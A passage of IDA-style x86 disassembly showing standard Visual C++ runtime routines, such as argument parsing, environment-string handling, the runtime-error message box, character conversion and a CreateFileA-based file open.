mov [ebp+arg_0], edi
loc_432DD0: ; CODE XREF: sub_432CB1+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_432DDE: ; CODE XREF: sub_432CB1+106j
shr ebx, 1
loc_432DE0: ; CODE XREF: sub_432CB1+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_432DF5
inc ebx
loc_432DE8: ; CODE XREF: sub_432CB1+142j
test esi, esi
jz short loc_432DF0
mov byte ptr [esi], 5Ch
inc esi
loc_432DF0: ; CODE XREF: sub_432CB1+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_432DE8
loc_432DF5: ; CODE XREF: sub_432CB1+134j
mov dl, [eax]
test dl, dl
jz short loc_432E45
cmp [ebp+arg_10], 0
jnz short loc_432E0B
cmp dl, 20h
jz short loc_432E45
cmp dl, 9
jz short loc_432E45
loc_432E0B: ; CODE XREF: sub_432CB1+14Ej
cmp [ebp+arg_0], 0
jz short loc_432E3F
test esi, esi
jz short loc_432E2E
movzx ebx, dl
test byte_676DA1[ebx], 4
jz short loc_432E27
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_432E27: ; CODE XREF: sub_432CB1+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_432E3D
; ---------------------------------------------------------------------------
loc_432E2E: ; CODE XREF: sub_432CB1+162j
movzx edx, dl
test byte_676DA1[edx], 4
jz short loc_432E3D
inc eax
inc dword ptr [ecx]
loc_432E3D: ; CODE XREF: sub_432CB1+17Bj
; sub_432CB1+187j
inc dword ptr [ecx]
loc_432E3F: ; CODE XREF: sub_432CB1+15Ej
inc eax
jmp loc_432D9D
; ---------------------------------------------------------------------------
loc_432E45: ; CODE XREF: sub_432CB1+148j
; sub_432CB1+153j ...
test esi, esi
jz short loc_432E4D
and byte ptr [esi], 0
inc esi
loc_432E4D: ; CODE XREF: sub_432CB1+196j
inc dword ptr [ecx]
jmp loc_432D6B
; ---------------------------------------------------------------------------
loc_432E54: ; CODE XREF: sub_432CB1+BDj
; sub_432CB1+D5j
test edi, edi
jz short loc_432E5B
and dword ptr [edi], 0
loc_432E5B: ; CODE XREF: sub_432CB1+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_432CB1 endp
; =============== S U B R O U T I N E =======================================
sub_432E65 proc near ; CODE XREF: sub_42C4A4+91p
; sub_434944+8Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_676B08
push ebx
push ebp
mov ebp, dword_4371BC
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_432EB3
call ebp ; dword_4371BC
mov esi, eax
cmp esi, ebx
jz short loc_432E94
mov dword_676B08, 1
jmp short loc_432EBC
; ---------------------------------------------------------------------------
loc_432E94: ; CODE XREF: sub_432E65+21j
call dword_4371C0 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz loc_432F8E
mov dword_676B08, 2
jmp loc_432F42
; ---------------------------------------------------------------------------
loc_432EB3: ; CODE XREF: sub_432E65+19j
cmp eax, 1
jnz loc_432F3D
loc_432EBC: ; CODE XREF: sub_432E65+2Dj
cmp esi, ebx
jnz short loc_432ECC
call ebp ; dword_4371BC
mov esi, eax
cmp esi, ebx
jz loc_432F8E
loc_432ECC: ; CODE XREF: sub_432E65+59j
cmp [esi], bx
mov eax, esi
jz short loc_432EE1
loc_432ED3: ; CODE XREF: sub_432E65+73j
; sub_432E65+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_432ED3
inc eax
inc eax
cmp [eax], bx
jnz short loc_432ED3
loc_432EE1: ; CODE XREF: sub_432E65+6Cj
sub eax, esi
mov edi, dword_437074
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; dword_437074
mov ebp, eax
cmp ebp, ebx
jz short loc_432F32
push ebp
call sub_4296E8
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_432F32
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; dword_437074
test eax, eax
jnz short loc_432F2E
push [esp+18h+var_8]
call sub_429822
pop ecx
mov [esp+18h+var_8], ebx
loc_432F2E: ; CODE XREF: sub_432E65+B9j
mov ebx, [esp+18h+var_8]
loc_432F32: ; CODE XREF: sub_432E65+99j
; sub_432E65+A8j
push esi
call dword_4371C4 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_432F90
; ---------------------------------------------------------------------------
loc_432F3D: ; CODE XREF: sub_432E65+51j
cmp eax, 2
jnz short loc_432F8E
loc_432F42: ; CODE XREF: sub_432E65+49j
cmp edi, ebx
jnz short loc_432F52
call dword_4371C0 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz short loc_432F8E
loc_432F52: ; CODE XREF: sub_432E65+DFj
cmp [edi], bl
mov eax, edi
jz short loc_432F62
loc_432F58: ; CODE XREF: sub_432E65+F6j
; sub_432E65+FBj
inc eax
cmp [eax], bl
jnz short loc_432F58
inc eax
cmp [eax], bl
jnz short loc_432F58
loc_432F62: ; CODE XREF: sub_432E65+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_4296E8
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_432F78
xor esi, esi
jmp short loc_432F83
; ---------------------------------------------------------------------------
loc_432F78: ; CODE XREF: sub_432E65+10Dj
push ebp
push edi
push esi
call sub_429350
add esp, 0Ch
loc_432F83: ; CODE XREF: sub_432E65+111j
push edi
call dword_4371C8 ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_432F90
; ---------------------------------------------------------------------------
loc_432F8E: ; CODE XREF: sub_432E65+39j
; sub_432E65+61j ...
xor eax, eax
loc_432F90: ; CODE XREF: sub_432E65+D6j
; sub_432E65+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_432E65 endp
; =============== S U B R O U T I N E =======================================
sub_432F97 proc near ; CODE XREF: sub_42C5AC+9p
; sub_42C5D1+9p
mov eax, dword_67690C
cmp eax, 1
jz short loc_432FAE
test eax, eax
jnz short locret_432FCF
cmp dword_451124, 1
jnz short locret_432FCF
loc_432FAE: ; CODE XREF: sub_432F97+8j
push 0FCh
call sub_432FD0
mov eax, dword_676B0C
pop ecx
test eax, eax
jz short loc_432FC4
call eax ; dword_676B0C
loc_432FC4: ; CODE XREF: sub_432F97+29j
push 0FFh
call sub_432FD0
pop ecx
locret_432FCF: ; CODE XREF: sub_432F97+Cj
; sub_432F97+15j
retn
sub_432F97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432FD0 proc near ; CODE XREF: sub_42C5AC+12p
; sub_42C5D1+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_453A70
loc_432FE3: ; CODE XREF: sub_432FD0+20j
cmp edx, [eax]
jz short loc_432FF2
add eax, 8
inc ecx
cmp eax, offset dword_453B00
jl short loc_432FE3
loc_432FF2: ; CODE XREF: sub_432FD0+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_453A70[esi]
jnz loc_433120
mov eax, dword_67690C
cmp eax, 1
jz loc_4330FA
test eax, eax
jnz short loc_433023
cmp dword_451124, 1
jz loc_4330FA
loc_433023: ; CODE XREF: sub_432FD0+44j
cmp edx, 0FCh
jz loc_433120
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call dword_437178 ; GetModuleFileNameA
test eax, eax
jnz short loc_43305A
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_42A500
pop ecx
pop ecx
loc_43305A: ; CODE XREF: sub_432FD0+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_4292D0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_43309D
lea eax, [ebp+var_1A4]
push eax
call sub_4292D0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_429C40
add esp, 10h
loc_43309D: ; CODE XREF: sub_432FD0+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_42A500
lea eax, [ebp+var_A0]
push edi
push eax
call sub_42A510
lea eax, [ebp+var_A0]
push offset asc_437D50 ; "\n\n"
push eax
call sub_42A510
push off_453A74[esi]
lea eax, [ebp+var_A0]
push eax
call sub_42A510
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_434CA0
add esp, 2Ch
pop edi
jmp short loc_433120
; ---------------------------------------------------------------------------
loc_4330FA: ; CODE XREF: sub_432FD0+3Cj
; sub_432FD0+4Dj
lea eax, [ebp+arg_0]
lea esi, off_453A74[esi]
push 0
push eax
push dword ptr [esi]
call sub_4292D0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call dword_4371FC ; GetStdHandle
push eax
call dword_437078 ; WriteFile
loc_433120: ; CODE XREF: sub_432FD0+2Ej
; sub_432FD0+59j ...
pop esi
leave
retn
sub_432FD0 endp
; =============== S U B R O U T I N E =======================================
sub_433123 proc near ; CODE XREF: sub_42DA95+6Cp
; sub_42F312+32p ...
arg_0 = dword ptr 4
inc dword_676900
push 1000h
call sub_4296E8
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_43314C
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_43315D
; ---------------------------------------------------------------------------
loc_43314C: ; CODE XREF: sub_433123+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_43315D: ; CODE XREF: sub_433123+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_433123 endp
; =============== S U B R O U T I N E =======================================
sub_433167 proc near ; CODE XREF: sub_42DA95+61p
; sub_432034+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_676FC0
jb short loc_433176
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_433176: ; CODE XREF: sub_433167+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
lea eax, [eax+eax*8]
mov ecx, dword_676EC0[ecx*4]
mov al, [ecx+eax*4+4]
and eax, 40h
retn
sub_433167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433190 proc near ; CODE XREF: sub_42DBAD+2D4p
; sub_42DBAD+6B3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, offset dword_676EBC
push edi
push esi
call dword_437220 ; InterlockedIncrement
mov edi, dword_43721C
xor ebx, ebx
cmp dword_676EB8, ebx
jz short loc_4331C0
push esi
call edi ; dword_43721C
push 13h
call sub_42DA1F
pop ecx
push 1
pop ebx
loc_4331C0: ; CODE XREF: sub_433190+20j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4331E9
pop ecx
mov [ebp+arg_4], eax
test ebx, ebx
pop ecx
jz short loc_4331DE
push 13h
call sub_42DA80
pop ecx
jmp short loc_4331E1
; ---------------------------------------------------------------------------
loc_4331DE: ; CODE XREF: sub_433190+42j
push esi
call edi ; dword_43721C
loc_4331E1: ; CODE XREF: sub_433190+4Cj
mov eax, [ebp+arg_4]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_433190 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4331E9 proc near ; CODE XREF: sub_433190+36p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_4331F5
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4331F5: ; CODE XREF: sub_4331E9+8j
cmp dword_676988, 0
jnz short loc_433210
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_433242
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_433210: ; CODE XREF: sub_4331E9+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_4535A4
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_676998
call dword_437074 ; WideCharToMultiByte
test eax, eax
jz short loc_433242
cmp [ebp+arg_0], 0
jz short loc_433250
loc_433242: ; CODE XREF: sub_4331E9+1Ej
; sub_4331E9+51j
call sub_42F049
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
loc_433250: ; CODE XREF: sub_4331E9+57j
pop ebp
retn
sub_4331E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_433252 proc near ; CODE XREF: sub_42E525+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, offset dword_676EBC
push edi
push esi
call dword_437220 ; InterlockedIncrement
mov edi, dword_43721C
xor ebx, ebx
cmp dword_676EB8, ebx
jz short loc_433282
push esi
call edi ; dword_43721C
push 13h
call sub_42DA1F
pop ecx
push 1
pop ebx
loc_433282: ; CODE XREF: sub_433252+20j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4332AF
add esp, 0Ch
mov [ebp+arg_8], eax
test ebx, ebx
jz short loc_4332A4
push 13h
call sub_42DA80
pop ecx
jmp short loc_4332A7
; ---------------------------------------------------------------------------
loc_4332A4: ; CODE XREF: sub_433252+46j
push esi
call edi ; dword_43721C
loc_4332A7: ; CODE XREF: sub_433252+50j
mov eax, [ebp+arg_8]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_433252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4332AF proc near ; CODE XREF: sub_433252+39p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_4332D2
cmp [ebp+arg_8], ebx
jz short loc_4332D2
mov al, [esi]
cmp al, bl
jnz short loc_4332D8
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4332D2
mov [eax], bx
loc_4332D2: ; CODE XREF: sub_4332AF+Cj
; sub_4332AF+11j ...
xor eax, eax
loc_4332D4: ; CODE XREF: sub_4332AF+42j
; sub_4332AF+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4332D8: ; CODE XREF: sub_4332AF+17j
cmp dword_676988, ebx
jnz short loc_4332F3
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_4332EE
movzx ax, al
mov [ecx], ax
loc_4332EE: ; CODE XREF: sub_4332AF+36j
; sub_4332AF+C1j
push 1
pop eax
jmp short loc_4332D4
; ---------------------------------------------------------------------------
loc_4332F3: ; CODE XREF: sub_4332AF+2Fj
mov ecx, off_453398
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_433351
mov eax, dword_4535A4
cmp eax, 1
jle short loc_433337
cmp [ebp+arg_8], eax
jl short loc_433341
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_676998
call dword_437180 ; MultiByteToWideChar
test eax, eax
mov eax, dword_4535A4
jnz short loc_4332D4
loc_433337: ; CODE XREF: sub_4332AF+5Cj
cmp [ebp+arg_8], eax
jb short loc_433341
cmp [esi+1], bl
jnz short loc_4332D4
loc_433341: ; CODE XREF: sub_4332AF+61j
; sub_4332AF+8Bj ...
call sub_42F049
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4332D4
; ---------------------------------------------------------------------------
loc_433351: ; CODE XREF: sub_4332AF+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_676998
call dword_437180 ; MultiByteToWideChar
test eax, eax
jnz loc_4332EE
jmp short loc_433341
sub_4332AF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_433380 proc near ; CODE XREF: sub_42E525+797p
; sub_42E525+7E7p
cmp cl, 40h
jnb short loc_43339A
cmp cl, 20h
jnb short loc_433390
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_433390: ; CODE XREF: sub_433380+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_43339A: ; CODE XREF: sub_433380+3j
xor eax, eax
xor edx, edx
retn
sub_433380 endp
; =============== S U B R O U T I N E =======================================
sub_43339F proc near ; CODE XREF: sub_42EF9B+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_4333EB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_4333BD
test al, 80h
jz short loc_4333EB
test al, 2
jnz short loc_4333EB
loc_4333BD: ; CODE XREF: sub_43339F+14j
cmp dword ptr [esi+8], 0
jnz short loc_4333CA
push esi
call sub_433123
pop ecx
loc_4333CA: ; CODE XREF: sub_43339F+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_4333DA
cmp dword ptr [esi+4], 0
jnz short loc_4333EB
inc eax
mov [esi], eax
loc_4333DA: ; CODE XREF: sub_43339F+30j
test byte ptr [esi+0Ch], 40h
jz short loc_4333F1
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_4333F7
inc eax
mov [esi], eax
loc_4333EB: ; CODE XREF: sub_43339F+9j
; sub_43339F+18j ...
or eax, 0FFFFFFFFh
loc_4333EE: ; CODE XREF: sub_43339F+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4333F1: ; CODE XREF: sub_43339F+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_4333F7: ; CODE XREF: sub_43339F+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_4333EE
sub_43339F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43340D proc near ; CODE XREF: sub_42F05B+5Ep
; sub_43284B+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437D88
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_676B10
xor ebx, ebx
cmp eax, ebx
jnz short loc_43347C
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_437670
push esi
call dword_4371B4 ; GetStringTypeW
test eax, eax
jz short loc_43345A
mov eax, esi
jmp short loc_433477
; ---------------------------------------------------------------------------
loc_43345A: ; CODE XREF: sub_43340D+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_454018
push esi
push ebx
call dword_4371B8 ; GetStringTypeA
test eax, eax
jz loc_433542
push 2
pop eax
loc_433477: ; CODE XREF: sub_43340D+4Bj
mov dword_676B10, eax
loc_43347C: ; CODE XREF: sub_43340D+2Fj
cmp eax, 2
jnz short loc_4334A5
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_43348D
mov eax, dword_676988
loc_43348D: ; CODE XREF: sub_43340D+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword_4371B8 ; GetStringTypeA
jmp loc_433544
; ---------------------------------------------------------------------------
loc_4334A5: ; CODE XREF: sub_43340D+72j
cmp eax, 1
jnz loc_433542
cmp [ebp+arg_10], ebx
jnz short loc_4334BB
mov eax, dword_676998
mov [ebp+arg_10], eax
loc_4334BB: ; CODE XREF: sub_43340D+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call dword_437180 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_433542
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_429A90
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_429690
add esp, 0Ch
jmp short loc_433511
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_433511: ; CODE XREF: sub_43340D+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_433542
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call dword_437180 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_433542
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call dword_4371B4 ; GetStringTypeW
jmp short loc_433544
; ---------------------------------------------------------------------------
loc_433542: ; CODE XREF: sub_43340D+61j
; sub_43340D+9Bj ...
xor eax, eax
loc_433544: ; CODE XREF: sub_43340D+93j
; sub_43340D+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_43340D endp
; =============== S U B R O U T I N E =======================================
sub_433556 proc near ; CODE XREF: sub_42F1DB+1Ep
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_676FC0
push esi
push edi
jnb short loc_4335D7
mov eax, ebx
sar eax, 5
lea edi, ds:676EC0h[eax*4]
mov eax, ebx
and eax, 1Fh
lea esi, [eax+eax*8]
mov eax, [edi]
shl esi, 2
test byte ptr [eax+esi+4], 1
jz short loc_4335D7
push ebx
call sub_43234B
mov eax, [edi]
pop ecx
test byte ptr [eax+esi+4], 1
jz short loc_4335BE
push ebx
call sub_432309
pop ecx
push eax
call dword_4371B0 ; FlushFileBuffers
test eax, eax
jnz short loc_4335B1
call dword_43716C ; RtlGetLastWin32Error
mov esi, eax
jmp short loc_4335B3
; ---------------------------------------------------------------------------
loc_4335B1: ; CODE XREF: sub_433556+4Fj
xor esi, esi
loc_4335B3: ; CODE XREF: sub_433556+59j
test esi, esi
jz short loc_4335CC
call sub_42F052
mov [eax], esi
loc_4335BE: ; CODE XREF: sub_433556+3Dj
call sub_42F049
mov dword ptr [eax], 9
or esi, 0FFFFFFFFh
loc_4335CC: ; CODE XREF: sub_433556+5Fj
push ebx
call sub_4323AA
pop ecx
mov eax, esi
jmp short loc_4335E5
; ---------------------------------------------------------------------------
loc_4335D7: ; CODE XREF: sub_433556+Dj
; sub_433556+2Dj
call sub_42F049
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_4335E5: ; CODE XREF: sub_433556+7Fj
pop edi
pop esi
pop ebx
retn
sub_433556 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4335E9 proc near ; CODE XREF: sub_42F8C0+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_43360F
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_43361A
; ---------------------------------------------------------------------------
loc_43360F: ; CODE XREF: sub_4335E9+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_43361A: ; CODE XREF: sub_4335E9+24j
mov eax, 8000h
test ecx, eax
jnz short loc_433634
test ch, 40h
jnz short loc_433630
cmp dword_676C44, eax
jz short loc_433634
loc_433630: ; CODE XREF: sub_4335E9+3Dj
or [ebp+var_1], 80h
loc_433634: ; CODE XREF: sub_4335E9+38j
; sub_4335E9+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_43365B
dec eax
jz short loc_433652
dec eax
jnz loc_4336ED
mov [ebp+var_C], 0C0000000h
jmp short loc_433662
; ---------------------------------------------------------------------------
loc_433652: ; CODE XREF: sub_4335E9+57j
mov [ebp+var_C], 40000000h
jmp short loc_433662
; ---------------------------------------------------------------------------
loc_43365B: ; CODE XREF: sub_4335E9+54j
mov [ebp+var_C], 80000000h
loc_433662: ; CODE XREF: sub_4335E9+67j
; sub_4335E9+70j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_433690
cmp eax, 20h
jz short loc_433687
cmp eax, 30h
jz short loc_43367E
cmp eax, 40h
jnz short loc_4336ED
mov [ebp+var_10], esi
jmp short loc_433693
; ---------------------------------------------------------------------------
loc_43367E: ; CODE XREF: sub_4335E9+89j
mov [ebp+var_10], 2
jmp short loc_433693
; ---------------------------------------------------------------------------
loc_433687: ; CODE XREF: sub_4335E9+84j
mov [ebp+var_10], 1
jmp short loc_433693
; ---------------------------------------------------------------------------
loc_433690: ; CODE XREF: sub_4335E9+7Fj
mov [ebp+var_10], ebx
loc_433693: ; CODE XREF: sub_4335E9+93j
; sub_4335E9+9Cj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_4336D9
jz short loc_4336D4
cmp ecx, ebx
jz short loc_4336D4
cmp ecx, edi
jz short loc_4336CB
cmp ecx, 200h
jz short loc_433707
cmp ecx, 300h
jnz short loc_4336ED
mov [ebp+var_8], 2
jmp short loc_433717
; ---------------------------------------------------------------------------
loc_4336CB: ; CODE XREF: sub_4335E9+C7j
mov [ebp+var_8], 4
jmp short loc_433717
; ---------------------------------------------------------------------------
loc_4336D4: ; CODE XREF: sub_4335E9+BFj
; sub_4335E9+C3j
mov [ebp+var_8], esi
jmp short loc_433717
; ---------------------------------------------------------------------------
loc_4336D9: ; CODE XREF: sub_4335E9+BDj
cmp ecx, 500h
jz short loc_433710
cmp ecx, 600h
jz short loc_433707
cmp ecx, edx
jz short loc_433710
loc_4336ED: ; CODE XREF: sub_4335E9+5Aj
; sub_4335E9+8Ej ...
call sub_42F049
mov dword ptr [eax], 16h
call sub_42F052
mov [eax], ebx
or eax, 0FFFFFFFFh
jmp loc_4338B3
; ---------------------------------------------------------------------------
loc_433707: ; CODE XREF: sub_4335E9+CFj
; sub_4335E9+FEj
mov [ebp+var_8], 5
jmp short loc_433717
; ---------------------------------------------------------------------------
loc_433710: ; CODE XREF: sub_4335E9+F6j
; sub_4335E9+102j
mov [ebp+var_8], 1
loc_433717: ; CODE XREF: sub_4335E9+E0j
; sub_4335E9+E9j ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_433736
mov ecx, dword_6769AC
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_433736
push 1
pop esi
loc_433736: ; CODE XREF: sub_4335E9+138j
; sub_4335E9+148j
test al, 40h
jz short loc_433744
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_433744: ; CODE XREF: sub_4335E9+14Fj
test ah, 10h
jz short loc_43374B
or esi, edi
loc_43374B: ; CODE XREF: sub_4335E9+15Ej
test al, 20h
jz short loc_433757
or esi, 8000000h
jmp short loc_433761
; ---------------------------------------------------------------------------
loc_433757: ; CODE XREF: sub_4335E9+164j
test al, 10h
jz short loc_433761
or esi, 10000000h
loc_433761: ; CODE XREF: sub_4335E9+16Cj
; sub_4335E9+170j
call sub_4320EB
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_433789
call sub_42F049
mov dword ptr [eax], 18h
call sub_42F052
and dword ptr [eax], 0
mov eax, edi
jmp loc_4338B3
; ---------------------------------------------------------------------------
loc_433789: ; CODE XREF: sub_4335E9+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_43705C ; CreateFileA
mov esi, eax
cmp esi, edi
jnz short loc_4337BC
loc_4337A8: ; CODE XREF: sub_4335E9+1E5j
call dword_43716C ; RtlGetLastWin32Error
push eax
call sub_42EFD6
pop ecx
mov esi, edi
jmp loc_4338AA
; ---------------------------------------------------------------------------
loc_4337BC: ; CODE XREF: sub_4335E9+1BDj
push esi
call dword_4371F0 ; GetFileType
test eax, eax
jnz short loc_4337D0
push esi
call dword_437044 ; CloseHandle
jmp short loc_4337A8
; ---------------------------------------------------------------------------
loc_4337D0: ; CODE XREF: sub_4335E9+1DCj
cmp eax, 2
jnz short loc_4337DB
or [ebp+var_1], 40h
jmp short loc_4337E4
; ---------------------------------------------------------------------------
